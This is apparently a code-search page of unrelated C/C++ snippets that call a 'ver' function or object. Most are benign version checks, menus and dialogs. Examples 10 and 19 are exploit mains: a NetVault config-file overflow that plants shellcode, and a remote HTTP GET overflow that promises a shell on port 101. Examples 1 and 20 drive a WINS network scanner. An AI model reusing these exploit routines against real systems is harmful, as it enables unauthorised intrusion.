Ejemplo n.º 1
0
/*
HS_WINS 192.168.0.0
HS_WINS 192.168.0.0 -v
HS_WINS 192.168.0.0 -vv
HS_WINS 192.168.0.0 192.168.0.255
HS_WINS 192.168.0.0 192.168.0.255 -v
HS_WINS 192.168.0.0 192.168.0.255 -vv
HS_WINS 192.168.0.0 192.168.0.255 1000
HS_WINS 192.168.0.0 192.168.0.255 1000 -v
HS_WINS 192.168.0.0 192.168.0.255 1000 -vv
*/
int main(int argc,char *argv[])
{
	vvv=argv[3],vvv2=argv[4],vvv3=argv[2];
	if (argc<2){ver();usage();return -1;}
	for (;;)
	{
		if (argc==2&&strlen(argv[1])>7&&strlen(argv[1])<16||
				argc==3&&strlen(argv[1])>7&&strlen(argv[1])<16&&(strcmp(vvv3,"-v")==0||strcmp(vvv3,"-vv")==0)||
				argc==3&&strlen(argv[1])>7&&strlen(argv[1])<16&&strlen(argv[2])>7&&strlen(argv[2])<16&&argv[1]!=argv[2]||
				argc==4&&strlen(argv[1])>7&&strlen(argv[1])<16&&strlen(argv[2])>7&&strlen(argv[2])<16&&argv[1]!=argv[2]&&(strcmp(vvv,"-v")==0||strcmp(vvv,"-vv")==0)||
				argc==4&&strlen(argv[1])>7&&strlen(argv[1])<16&&strlen(argv[2])>7&&strlen(argv[2])<16&&argv[1]!=argv[2]&&atoi(argv[3])>0&&atoi(argv[3])<5000||
				argc==5&&strlen(argv[1])>7&&strlen(argv[1])<16&&strlen(argv[2])>7&&strlen(argv[2])<16&&argv[1]!=argv[2]&&atoi(argv[3])>0&&atoi(argv[3])<5000&&(strcmp(vvv2,"-v")==0||strcmp(vvv2,"-vv")==0))
				{
					if (argc==3&&strcmp(vvv3,"-v")==0||argc==4&&strcmp(vvv,"-v")==0||argc==5&&strcmp(vvv2,"-v")==0){bose++;}
					else if (argc==3&&strcmp(vvv3,"-vv")==0||argc==4&&strcmp(vvv,"-vv")==0||argc==5&&strcmp(vvv2,"-vv")==0){bose2++;}
					if (argc==2||argc==3&&(strcmp(vvv3,"-v")==0||strcmp(vvv3,"-vv")==0)){ping++;}
					engine(argc,argv);break;
				}
				ver();printf("[+] wrong command line, type HS_WINS without arguments for the usage.\n");return -1;
	}
#ifdef WIN32
	WSACleanup();
#endif
	return 0;
}
Ejemplo n.º 2
0
int main(int argc, char *argv[])
{
  {
    fprintf(stderr, "Has new version\n");
    VersionChecker ver("http://zhanxw.com/rvtests/version");
    if (ver.hasNewVersionThan(-1)) {
      ver.printNewVersion();
    }
  }
  {
    fprintf(stderr, "No new version\n");
    VersionChecker ver("http://zhanxw.com/rvtests/version");
    if (ver.hasNewVersionThan(99999999)) {
      ver.printNewVersion();
    }
  }
  {
    fprintf(stderr, "Wrong address\n")
        ;
    VersionChecker ver("http://nonexist.zhanxw/rvtests/version");
    if (ver.hasNewVersionThan(99999999)) {
      ver.printNewVersion();
    }
  }
  return 0;
}
Ejemplo n.º 3
0
int main(int argc, char const *argv[])
{
	char input[15][30];
	int argnum, i;

	pid_list.head=NULL;
	pid_list.tail=NULL;
	enqueue(getppid(),"NEW SHELL",&pid_list);

	signal(SIGCHLD,childdead);
	signal(SIGTSTP,susp);
	signal(SIGQUIT,cont);
	setpriority(PRIO_PROCESS,0,-20);

	ver();

	while (run){
		printf("=>");
		for (argnum=0; (scanf("%s",&input[argnum]))==1;argnum++)
			if (getchar()=='\n') break;
		if (strcmp(input[0],"ver")==0 && argnum==0) ver();
		else if (strcmp(input[0],"help")==0 && argnum==0) help();
		else if (strcmp(input[0],"help")==0 && argnum==1) helpcmd(input[argnum]);
		else if (strcmp(input[0],"ps")==0 && argnum==0) ps();
		else if (strcmp(input[0],"kill")==0 && argnum==1) mykill(atoi(input[1]));
		else if (strcmp(input[0],"exec")==0 && argnum!=0) 
			for (i=1; i<=argnum; i++) exec(input[i]);
		else if (strcmp(input[0],"exit")==0 && argnum==0) myexit();
	    else printf("Nosuch command. Check help for help.\n");
	}

}
Ejemplo n.º 4
0
bool VersionManager::readSVDFromBuffer(const char* pBuffer,size_t size)
{
	tinyxml2::XMLDocument doc;
	tinyxml2::XMLError ret = doc.Parse(pBuffer,size);
	if ( ret != tinyxml2::XML_SUCCESS )
	{
		return false;
	}

	tinyxml2::XMLElement* pRootElement = doc.RootElement();
	if ( pRootElement )
	{
		for ( tinyxml2::XMLElement* pNode=pRootElement->FirstChildElement();
			pNode;
			pNode=pNode->NextSiblingElement() )
		{
			string eleName = pNode->Name();
			if ( eleName == "ver" )
			{
				VersionDef ver(pNode->GetText());
				m_svd.ver = ver;
			}
			else if( eleName == "ip" )
			{
				m_svd.ip = pNode->GetText();
			}
			else if( eleName == "port" )
			{
				m_svd.port = StringConverter::toInt(pNode->GetText());
			}
			else if( eleName == "debug" )
			{
				m_debug = StringConverter::toInt(pNode->GetText());
			}
			if ( eleName == "ver_d" )
			{
				VersionDef ver(pNode->GetText());
				m_svd_d.ver = ver;
			}
			else if( eleName == "ip_d" )
			{
				m_svd_d.ip = pNode->GetText();
			}
			else if( eleName == "port_d" )
			{
				m_svd_d.port = StringConverter::toInt(pNode->GetText());
			}
		}

		return true;
	}

	return false;
}
Ejemplo n.º 5
0
Archivo: libhost.cpp Proyecto: krwq/cli
void try_prerelease_roll_forward_in_dir(const pal::string_t& cur_dir, const fx_ver_t& start_ver, pal::string_t* max_str)
{
    pal::string_t path = cur_dir;

    if (trace::is_enabled())
    {
        pal::string_t start_str = start_ver.as_str();
        trace::verbose(_X("Reading prerelease roll forward candidates in dir [%s] for version [%s]"), path.c_str(), start_str.c_str());
    }

    pal::string_t maj_min_pat_star = start_ver.prerelease_glob();

    std::vector<pal::string_t> list;
    pal::readdir(path, maj_min_pat_star, &list);

    fx_ver_t max_ver = start_ver;
    fx_ver_t ver(-1, -1, -1);
    for (const auto& str : list)
    {
        trace::verbose(_X("Considering prerelease roll forward candidate version [%s]"), str.c_str());
        if (fx_ver_t::parse(str, &ver, false)
            && ver.is_prerelease()) // Pre-release can roll forward to only pre-release
        {
            max_ver = std::max(ver, max_ver);
        }
    }
    max_str->assign(max_ver.as_str());

    if (trace::is_enabled())
    {
        pal::string_t start_str = start_ver.as_str();
        trace::verbose(_X("Prerelease roll forwarded [%s] -> [%s] in [%s]"), start_str.c_str(), max_str->c_str(), path.c_str());
    }
}
Ejemplo n.º 6
0
AboutDialog::AboutDialog(QWidget* parent) :
    CBDialog(parent),
    ui(new Ui::AboutDialog)
{
    ui->setupUi(this);
    QString ver("ComBomb version: ");
    ver.append(getVersion());
    ui->combombVersionLabel->setText(ver);

    ver = "Cppssh version: ";
    ver.append(Cppssh::getCppsshVersion(true));
    ui->cppsshVersionLabel->setText(ver);

    QString uptime("Uptime: ");
    std::stringstream buf;
    const std::chrono::duration<double> elapsed = MainWindow::getMainWindow()->getStartTimeDelta();
    long days = std::chrono::duration_cast<std::chrono::hours>(elapsed).count() / 24;
    std::chrono::hours::rep hours = std::chrono::duration_cast<std::chrono::hours>(elapsed).count() % 24;
    std::chrono::minutes::rep minutes = std::chrono::duration_cast<std::chrono::minutes>(elapsed).count() % 60;
    std::chrono::seconds::rep seconds = std::chrono::duration_cast<std::chrono::seconds>(elapsed).count() % 60;
    buf << days << ":" << std::setw(2) << std::setfill('0') << hours << ":" << std::setw(2) << std::setfill('0') <<
        minutes << ":" << std::setw(2) << std::setfill('0') << seconds;

    uptime.append(buf.str().c_str());
    ui->uptimeLabel->setText(uptime);
}
Ejemplo n.º 7
0
main (){ 
        int opc;
        top = -1;
        do{
         printf ("\n\n\n");
         printf ("1. METER EN LA PILA (PUSH)\n\n");
         printf ("2. SACAR DE LA PILA (POP)\n\n");
         printf ("3. VER LA PILA\n\n");
         printf ("4. SALIR\n");
         printf ("\n $$$$$$$$$$$$$$$$$$$$$$$$$$$$ \n");
         printf ("  Escoja una opcion \n");
         scanf("%d", &opc);
         printf("\n\n");
         switch (opc){
          case 1 : push();
           break;
          case 2: pop();
           break;
          case 3: ver();
           break;
          case 4:
                return;
           break;       
           }             
         } while (opc != 4);

}
Ejemplo n.º 8
0
void sbbs_t::sys_info()
{
	char	tmp[128];
	uint	i;
	stats_t stats;

	bputs(text[SiHdr]);
	getstats(&cfg,0,&stats);
	bprintf(text[SiSysName],cfg.sys_name);
	bprintf(text[SiSysID],cfg.sys_id);	/* QWK ID */
	for(i=0;i<cfg.total_faddrs;i++)
		bprintf(text[SiSysFaddr],smb_faddrtoa(&cfg.faddr[i],tmp));
	if(cfg.sys_psname[0])				/* PostLink/PCRelay */
		bprintf(text[SiSysPsite],cfg.sys_psname,cfg.sys_psnum);
	bprintf(text[SiSysLocation],cfg.sys_location);
	bprintf(text[SiSysop],cfg.sys_op);
	bprintf(text[SiSysNodes],cfg.sys_nodes);
//	bprintf(text[SiNodeNumberName],cfg.node_num,cfg.node_name);
	bprintf(text[SiNodePhone],cfg.node_phone);
	bprintf(text[SiTotalLogons],ultoac(stats.logons,tmp));
	bprintf(text[SiLogonsToday],ultoac(stats.ltoday,tmp));
	bprintf(text[SiTotalTime],ultoac(stats.timeon,tmp));
	bprintf(text[SiTimeToday],ultoac(stats.ttoday,tmp));
	ver();
	if(yesno(text[ViewSysInfoFileQ])) {
		CLS;
		sprintf(tmp,"%ssystem.msg", cfg.text_dir);
		printfile(tmp,0); 
	}
	if(yesno(text[ViewLogonMsgQ])) {
		CLS;
		menu("logon"); 
	}
}
Ejemplo n.º 9
0
     main (){ 
        int opc;
        do{
         printf ("\n\n\n");
         printf ("1. METER EN LA COLA\n\n");
         printf ("2. SACAR DE LA COLA\n\n");
         printf ("3. VER COLA\n\n");
         printf ("4. SALIR\n");
         printf ("\n $$$$$$$$$$$$$$$$$$$$$$$$$$$$ \n");
         printf ("  Escoja una opcion \n");
         scanf("%d", &opc);
         printf("\n\n");
         switch (opc){
          case 1 : insertar();
           break;
          case 2: eliminar();
           break;
          case 3: ver();
           break;
          case 4:
                return;
           break;       
           }             
         } while (opc != 4);

}
Ejemplo n.º 10
0
int main(int argc,char *argv[])
{
ver();
if (argc>5||argc<2||atoi(argv[1])>2||atoi(argv[1])<1){usage(argv[0]);return -1;}
if (check(argc,argv)==-1){return -1;}
while (!feof(fl))
{
fgets(line, sizeof(line),fl);
if (strstr(line,vul)){
i++;j++;}
if (i==2){
strcpy(line,vul);
memset(line+5,0x90,600);
memcpy(line+252,esp,4);
memcpy(line+16,fun,32);
memcpy(line+260,scode1,strlen(scode1));
memcpy(line+605,EOL,2);i=0;j++;
}
strcat(payload,line);
}
if (strstr(payload,vul)==NULL||j==1){
printf("[+] \"%s\" isn't a default NetVault file..\n",fp);return -1;}
if (check2()==1){
fprintf(fl,"%s",payload);
printf("[+] \"%s\" correctly exploited\n",fp);
printf("[+] a service restart is needed to execute the payload\n");
}
else printf("[+] can't write to \"%s\", something is wrong...\n",fp);
return 0;

}
Ejemplo n.º 11
0
// Finds the path of the latest installed eCos
wxString ecSettings::FindLatestVersion()
{
#ifdef __WXGTK__
    wxString ecosRoot(wxT("/opt/ecos"));
    wxLogNull log;
    wxDir dir(ecosRoot);
    
    wxString latestDir;
    wxString latestVersion;
    
    if (dir.IsOpened())
    {
        wxString filename;
        bool cont = dir.GetFirst(& filename, wxT("ecos-*"), wxDIR_DIRS);
        while (cont)
        {
            wxString ver(filename.Mid(5));
            if (latestVersion.IsEmpty() || latestVersion.CompareTo(ver) < 0)
            {
                latestVersion = ver;
                latestDir = ecosRoot + wxT("/") + filename;
            }
            
            cont = dir.GetNext(& filename);
        }
    }
//    if (latestDir.IsEmpty())
//        latestDir = wxGetCwd();
    return latestDir;
#else
    wxMessageBox(wxT("FindLatestVersion() is only implemented for Unix."));
    return wxEmptyString;
#endif
}
Ejemplo n.º 12
0
QString toOracleConnectionSub::version()
{
    QString ver("%1%2");
    return ver
           .arg((int)_login->_server.versionNumber(), 2, 10, QChar('0'))
           .arg((int)_login->_server.releaseNumber(), 2, 10, QChar('0'));
}
Ejemplo n.º 13
0
void
CommandEventHandler::handleLine(std::string line)
{
  Logger::instance()->log("Recvd line: " + line);
  CommandLine cl(line);
  if (cl.cmd.empty())
    return;
  std::string result(agentWarn("unknown command"));
  if (cl.cmd.compare("cat") == 0)
    result = cat(cl.args);
  else if (cl.cmd.compare("cd") == 0)
    result = cd(cl.args);
  else if (cl.cmd.compare("cwd") == 0)
    result = cwd(cl.args);
  else if (cl.cmd.compare("clok") == 0)
    result = clok(cl.args);
  else if (cl.cmd.compare("dirw") == 0)
    result = dirw(cl.args);
  else if (cl.cmd.compare("exec") == 0)
    result = exec(cl.args);
  else if (cl.cmd.compare("hash") == 0)
    result = hash(cl.args);
  else if (cl.cmd.compare("info") == 0)
    result = info(cl.args);
  else if (cl.cmd.compare("ps") == 0)
    result = ps(cl.args);
  else if (cl.cmd.compare("pull") == 0)
    result = pull(cl.args);
  else if (cl.cmd.compare("push") == 0)
    result = push(cl.args);
  else if (cl.cmd.compare("isdir") == 0)
    result = isDir(cl.args);
  else if (cl.cmd.compare("ls") == 0)
    result = ls(cl.args);
  else if (cl.cmd.compare("mkdr") == 0)
    result = mkdr(cl.args);
  else if (cl.cmd.compare("quit") == 0)
    result = quit(cl.args);
  else if (cl.cmd.compare("rebt") == 0)
    result = rebt(cl.args);
  else if (cl.cmd.compare("rm") == 0)
    result = rm(cl.args);
  else if (cl.cmd.compare("rmdr") == 0)
    result = rmdr(cl.args);
  else if (cl.cmd.compare("testroot") == 0)
    result = testroot(cl.args);
  else if (cl.cmd.compare("ver") == 0)
    result = ver(cl.args);
  if (!mBufSocket.sendClosed() && !mDataEventHandler)
  {
    // FIXME: It appears that DeviceManager will get confused if
    // the prompt isn't sent with the response for some commands.
    // I think this is a bug in DeviceManager, but it needs to be
    // further investigated.
    result += std::string(ENDL);
    result += mPrompt;
    mBufSocket.write(result.c_str(), result.size() + 1);
  }
}
Ejemplo n.º 14
0
void CMainDialog::InitializeDisplay(void)
{
	CCrashReporterApp* pApp = DYNAMIC_DOWNCAST(CCrashReporterApp, AfxGetApp());
	ASSERT_VALID(pApp);

	m_Banner.SetTextColor(RGB(0,0,0));
	m_Banner.SetBackgroundColor(RGB(255,255,255));
	m_Banner.SetBold(TRUE);

	// get path to exe that crashed - we assume it is in same directory
	CString strExe = m_szModulePath;
	strExe += pApp->m_strUpdateItExe;

	// get version resource
	CMiniVersion ver(strExe);
	TCHAR szBuf[1000];
	szBuf[0] = _T('\0');

	// try to get description
	ver.GetFileDescription(szBuf, _countof(szBuf)-2);

	// if that failed try to get product name
	if (szBuf[0] == _T('\0'))
		ver.GetProductName(szBuf, _countof(szBuf)-2);

	ver.Release();

	// if that failed just use exe name
	if (szBuf[0] == _T('\0'))
		_tcscpy(szBuf, pApp->m_strUpdateItExe);

	SetWindowText(szBuf);

	CString strBanner;
	strBanner.Format(_T("%s has encountered a problem and needs to close.  ")
					 _T("We are sorry for the inconvenience."),
					 szBuf);

	m_Banner.SetWindowText(strBanner);
	m_Banner.SetMargins(22, 8);

	// get icon of crashed app
	HICON hIcon = ::ExtractIcon(AfxGetInstanceHandle(), strExe, 0);

	m_Icon.SetBackgroundColor(RGB(255,255,255), FALSE);
	if (hIcon)
		m_Icon.SetIcon(hIcon, FALSE);

	m_PleaseTellUs.SetBold(TRUE);

	m_What.SetLimitText(128*1024);	// set edit box to 128 KB

    m_ClickHere.SetColours(m_ClickHere.GetLinkColour(),
						   RGB(0,0,255), 
						   m_ClickHere.GetHoverColour());
	m_ClickHere.EnableURL(FALSE);
	m_ClickHere.EnableTooltip(FALSE);
	m_ClickHere.SetNotifyParent(TRUE);
}
Ejemplo n.º 15
0
void App::onUpdateCheckFinished(QNetworkReply* reply)
{
    QRegularExpression ver("(\\d+)\\.(\\d+)\\.(\\d+)([a-z]|)");
    if (!ver.match(GITTAG).hasMatch())
    {
        QMessageBox::critical(NULL, "Update error",
                              "<b>Update error:</b><br>"
                              "Current build is not tagged to any particular version.");
        return;
    }
    auto current = ver.match(GITTAG).capturedTexts();

    if (reply->error() != QNetworkReply::NoError)
    {
        QMessageBox::critical(NULL, "Update error",
                              "<b>Update error:</b><br>"
                              "Connection failed.");
        return;
    }

    QJsonParseError err;
    auto out = QJsonDocument::fromJson(reply->readAll(), &err);

    if (err.error != QJsonParseError::NoError)
    {
        QMessageBox::critical(NULL, "Update error",
                              "<b>Update error:</b><br>"
                              "Could not parse JSON file.");
        return;
    }

    auto latest = out.array()[0].toObject();
    auto update = ver.match(latest["tag_name"].toString()).capturedTexts();

    bool available = false;

    // Check for numerical superiority
    for (int i=1; i < 4; ++i)
        if (current[i].toInt() < update[i].toInt())
            available = true;

    // Check for bug-fix release
    if (!update[4].isEmpty() && (current[4].isEmpty() ||
                                 current[4] < update[4]))
        available = true;

    if (available)
        QMessageBox::information(NULL, "Update available", QString(
                                     "<b>Update available:</b><br>"
                                     "This is version %1<br>"
                                     "Version "
                                     "<a href=\"https://github.com/mkeeter/antimony/releases/%2\">"
                                     "%2</a> is available.").arg(current[0])
                                 .arg(update[0]));
    else
        QMessageBox::information(NULL, "No update available",
                                 "No update is available at this time.");
}
Ejemplo n.º 16
0
/* virtual */ opera_update_checker::status::Status OAUCRequestImpl::AddProductUpdatePart(const UpdateDataProvider& provider)
{
  try
  {
    if (!document_.RootElement())
    {
      document_.Parse(update_request_root);
      if (document_.Error())
        return opera_update_checker::status::StatusCode::FAILED;
    }

    TiXmlDocument temp;

    TIXML_STRING name(provider.GetProductName() ? provider.GetProductName() : "");
    TIXML_STRING encoded_name;
    TIXML_STRING ver(provider.GetProductVersion() ? provider.GetProductVersion() : "");
    TIXML_STRING encoded_ver;
    TIXML_STRING lang(provider.GetProductLanguage() ? provider.GetProductLanguage() : "");
    TIXML_STRING encoded_lang;
    document_.EncodeString(name, &encoded_name);
    document_.EncodeString(ver, &encoded_ver);
    document_.EncodeString(lang, &encoded_lang);

    sprintf(shared_work_buffer,
            update_product_part_template,
            encoded_name.c_str() ? encoded_name.c_str() : "",
            encoded_ver.c_str() ? encoded_ver.c_str() : "",
            encoded_lang.c_str() ? encoded_lang.c_str() : "");

      temp.Parse(shared_work_buffer);
      if (temp.Error())
        return opera_update_checker::status::StatusCode::FAILED;

      OAUC_ASSERT(document_.RootElement() && document_.RootElement()->FirstChildElement());
      TiXmlElement* child = document_.RootElement()->FirstChildElement();
      while (opera_update_checker::system_utils::SystemUtils::strnicmp(child->Value(), "product", 7) != 0)
      {
        child = child->NextSiblingElement();
        OAUC_ASSERT(child);
      }

      TiXmlElement* elm = temp.RootElement();
      do
      {
        child->InsertEndChild(*elm);
        elm = elm->NextSiblingElement();
      } while (elm);

      if (TiXmlElement* products = product_res_document_.RootElement())
        child->InsertEndChild(*products);
  }
  catch (...)
  {
    return opera_update_checker::status::StatusCode::OOM;
  }

  return opera_update_checker::status::StatusCode::OK;
}
TInt CAudioOutputControlTestClass::SetDRMConfigIntfc( CStifItemParser& aItem )
{
	TPtrC object;
	TInt error = KErrNone;
	TInt err = CMultimediaFactory::CreateFactory(iFactorys);
	if(error == KErrNone)
        {
        iLog->Log(_L("CMultimediaFactory::CreateFactory OK"));
        }
    else
        {
        iLog->Log(_L("CMultimediaFactory::CreateFactory [%d]"),error);
        }

	error = iFactorys->CreateSourceControl( KDataBufferSourceControl, iSourceControl );
    if(error == KErrNone)
        {
        iMDataBufferSource = static_cast<MDataBufferSource*>(iSourceControl);
        }
	if(error != KErrNone)
        {
        iLog->Log(_L("CreateSourceControl [%d]"),error);
        }

	if (iMDataBufferSource)
        {
        if (iDRMConfigIntfc)
            {
            delete iDRMConfigIntfc;
            iDRMConfigIntfc = NULL;
            }
        TAny* intfc(NULL);
        TVersion ver(KDRMConfigIntfcMajorVer1, KDRMConfigIntfcMinorVer1, KDRMConfigIntfcBuildVer1);
        TInt status = iMDataBufferSource->GetInterface(KDRMConfigIntfc,
                                                      ver,
                                                      intfc);
        if (status == KErrNone)
            {
            iDRMConfigIntfc = (CDRMConfigIntfc*)intfc;
            }
        }

	error = iAudioOutputControlUtility->SetDRMConfigIntfc(iDRMConfigIntfc);

    if(error == KErrNone)
        {
    	FTRACE(FPrint(_L("CAudioOutputControlTestClass::SetDRMConfigIntfc ")));
    	iLog->Log(_L("CAudioOutputControlTestClass::SetDRMConfigIntfc "));
		}
	else
		{
    	FTRACE(FPrint(_L("CAudioOutputControlTestClass::SetDRMConfigIntfc Error [%d]"),error));
    	iLog->Log(_L("CAudioOutputControlTestClass::SetDRMConfigIntfc Error [%d]"),error);

		}

	return error;
}
Ejemplo n.º 18
0
static inline bool
unpack_boolean(serial_context *ser_cont, bool in, as_val **out)
{
	if (VERBOSE) {
		ver("%sBoolean %s", indent(ser_cont), in ? "true" : "false");
	}

	return unpack_integer(ser_cont, in ? 1 : 0, out);
}
Ejemplo n.º 19
0
int main(int argc,char *argv[])
{
	ver();
	if ((argc<3)||(argc>4)||(atoi(argv[1])<1)||(atoi(argv[1])>2)){usage(argv[0]);return -1;}
	if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;}
	int ip=htonl(inet_addr(argv[2])), sz, port, sizeA, sizeB, sizeC, a, b, c;
	char *target, *os;
	if (argc==4){port=atoi(argv[3]);}
	else port=80;
	if (atoi(argv[1]) == 1){target=espxp1en;os="WinXP SP1 English";}
	if (atoi(argv[1]) == 2){target=esp2k4en;os="Win2k SP4 English";}
	if (atoi(argv[1]) == 3){target=espnt6en;os="WinNT SP6 English";}
	SOCKET s;
	struct fd_set mask;
	struct timeval timeout; 
	struct sockaddr_in server;
	s=socket(AF_INET,SOCK_STREAM,0);
	if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;}
	cout<<"[+] target: "<<os<<endl;			
	server.sin_family=AF_INET;
	server.sin_addr.s_addr=htonl(ip);
	server.sin_port=htons(port);
	WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
	timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
	switch(select(s+1,NULL,&mask,NULL,&timeout))
	{
		case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
		case 0: {cout<<"[+] connection failed."<<endl;closesocket(s);return -1;}
		default:
		if(FD_ISSET(s,&mask))
		{
			cout<<"[+] connected, constructing the payload..."<<endl;
			Sleep(1000);
			sizeA=1787;
			sizeB=414-sizeof(scode);
			sizeC=10;
			sz=sizeA+sizeB+sizeC+sizeof(scode)+17;
			memset(payload,0,sizeof(payload));
			strcat(payload,"GET ");
			for (a=0;a<sizeA;a++){strcat(payload,"\x41");}
			strcat(payload,target);
			for (b=0;b<sizeB;b++){strcat(payload,"\x41");}
			strcat(payload,scode);
			for (c=0;c<sizeC;c++){strcat(payload,"\x41");}
			strcat(payload," HTTP/1.1\r\n\r\n");
			Sleep(1000);
		    if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
			Sleep(1000);
			cout<<"[+] size of payload: "<<sz<<endl;			
			cout<<"[+] payload send, connect the port 101 to get a shell."<<endl;
			return 0;
		}
	}
	closesocket(s);
	WSACleanup();
	return 0;
}
Ejemplo n.º 20
0
int engine(int argc,char *argv[])
{
	ver();
	if (chk()==-1){ver();printf("[+] WARNING! can't create/write HS_WINS.txt, aborting..\n");return -1;}
	ipstart=htonl(inet_addr(argv[1]));
	if (ping==1){ipstop=htonl(inet_addr(argv[1]));}
	else ipstop=htonl(inet_addr(argv[2]));
	if (ipstart>ipstop){printf("[+] wrong command line, type HS_WINS without arguments for the usage.\n");return -1;}
	fprintf(fplog,"----------------------------------------------------------------------------\nCOMMAND: ");
	for (int argccmp=0;argccmp<argc;argccmp++){fprintf(fplog,"%s ", argv[argccmp]);}
	fprintf(fplog,"\n----------------------------------------------------------------------------\n\n");
	fflush(fplog);
	if (argc==4&&bose==0&&bose2==0||argc==5){thread=atoi(argv[3]);}
	else thread=200;
	scan=(ipstop-ipstart)+1;
	for (tip=ipstart;ipstart<=ipstop;ipstart++,tip++,nub++,mthread++,scanend++)
	{
		if (tip%256==0||tip%256==-1){scanend--;scan--;nub--;mthread--;continue;}
		for (;;){if (mthread>=thread){sl(4);}
		else break;}
//		sl(1);
#ifdef WIN32
		CWinThread* pthread=AfxBeginThread(engine2,LPVOID(tip));
#else
		pthread_create(&pthread,NULL,engine2,(void*)tip);
#endif
		if (se>20){printf("[+] too many socket errors, check your system configuration, aborting..\n");break;}
	}
#ifdef WIN32
	for(;;){
		if (done2>25){printf("[+] status..: %d%s thread(s):%d (freezing, supposed done..)       \n",(scanend)*100/(scan),pcent,mthread);break;}
		if (mthread!=0){sl(1);printf("[+] status..: %d%s thread(s):%d       \r",(scanend)*100/(scan),pcent,mthread);
		if (mthread==mfreeze&&(mthread!=0||mfreeze!=0)){done2++;}else{mfreeze=mthread;}continue;}
		else {printf("[+] status..: %d%s thread(s):%d       \n",(scanend)*100/(scan),pcent,mthread);break;}
	}
#endif
	printf("[+] results.: %d / %d IP(s) (open:%d wins:%d win2003:%d win2000:%d nt4:%d)\n",ok,nub,ok2,ok3,k3,k0,t4);
	fprintf(fplog,"----------------------------------------------------------------------------\n");
	fprintf(fplog,"Scan complete: %d / %d IP(s) (open:%d wins:%d win2003:%d win2000:%d nt4:%d)\n",ok,nub,ok2,ok3,k3,k0,t4);
	fprintf(fplog,"------------------------------------------------[class101.org 2004-2005]----\n\n\n");
	fflush(fplog);
	return 0;
}
Ejemplo n.º 21
0
CSession2* CDummyServer::NewSessionL(const TVersion& aVersion,const RMessage2& /*aMessage*/) const
    {
    TVersion ver(KCountServMajorVersionNumber,KCountServMinorVersionNumber,KCountServBuildVersionNumber);
    
    if (!User::QueryVersionSupported(ver,aVersion))
    	{
     	User::Leave(KErrNotSupported);  
    	}
    return new (ELeave) CDummyServerSession;
    }
Ejemplo n.º 22
0
bool Signer::verify(
        const std::vector<unsigned char> &data,
        const std::vector<unsigned char> &signature,
        const PublicKey &key) const
{
    kulloAssert(key.type() == AsymmetricKeyType::Signature);

    Botan::PK_Verifier ver(*key.p->pubkey, EMSA);
    return ver.verify_message(data, signature);
}
/**
 *
 * Create new server session.
 *
 * @param	"const TVersion &aVersion"
 *			Server version (required)
 *
 * @return	"CSharableSession*"
 *			The created server session.
 *
 * @xxxx
 *
 */
CMmfIpcSession* CTestFrameworkServer::NewSessionL(const TVersion &aVersion) const
{
    TVersion ver(KTestFrameworkServerMajorVersionNumber,
                 KTestFrameworkServerMinorVersionNumber,
                 KTestFrameworkServerBuildVersionNumber);
    if (!User::QueryVersionSupported(ver, aVersion))
        User::Leave(KErrNotSupported);
    // make new session
    return new(ELeave) CTestFrameworkServerSession();
}
Ejemplo n.º 24
0
Package::Package()
: _versions(max_t)
{
	for(int t=0; t < max_t; t++)
	{
		Version::Ptr ver(new Version);
		ver->set_time(t);
		_versions[t] = ver;
	}
}
Ejemplo n.º 25
0
static inline bool
unpack_nil(serial_context *ser_cont, as_val **out)
{
	if (VERBOSE) {
		ver("%sNIL", indent(ser_cont));
	}

	*out = (as_val *)&as_nil;
	return true;
}
Ejemplo n.º 26
0
SVAPI_API
OBJECT	GetGroup(string groupid,string user,string addr)
{
	if(groupid.empty()||user.empty()||addr.empty())
		return INVALID_VALUE;
	if(user.size()>MAXUSERLEN)
		return INVALID_VALUE;

	S_UINT ver(0);
	return GetGroupWithVer(groupid,user,addr,ver);
}
Ejemplo n.º 27
0
SVAPI_API 
OBJECT	GetSVSE(string id,string user,string addr)
{
	if(atoi(id.c_str())<=0)
		return INVALID_VALUE;
	if(user.empty()||addr.empty())
		return INVALID_VALUE;

	S_UINT ver(0);
	return GetSVSEWithVer(id, user, addr, ver);
}
Ejemplo n.º 28
0
wxString MusikApp::ReadOldVersionFile()
{
	wxTextFile ver( MUSIK_VERSION_FILENAME );
	wxString sRet;
	if ( ver.Open() )
	{
		if ( ver.GetLineCount() != 0 )
			sRet = ver.GetLine( 0 );
		ver.Close();
	}
	return sRet;
}
Ejemplo n.º 29
0
void fill_version( U64 & version )
{
	version_t & ver( *(version_t *)&version );
	
	std::tm data = NSSubWCRevProject::TimeNow;
	ver.time = std::mktime( &data );
	ver.project = NSSubWCRevProject::Revision;
	ver.library = NSSubWCRevLib::Revision;
#ifdef FOR_DEBUG
	ver.project |= 0x8000;
#endif
}
Ejemplo n.º 30
0
  Tag* Capabilities::tag() const
  {
    if( !m_valid || m_node.empty() )
      return 0;

    Tag* t = new Tag( "c" );
    t->setXmlns( XMLNS_CAPS );
    t->addAttribute( "hash", m_hash );
    t->addAttribute( "node", m_node );
    t->addAttribute( "ver", ver() );
    return t;
  }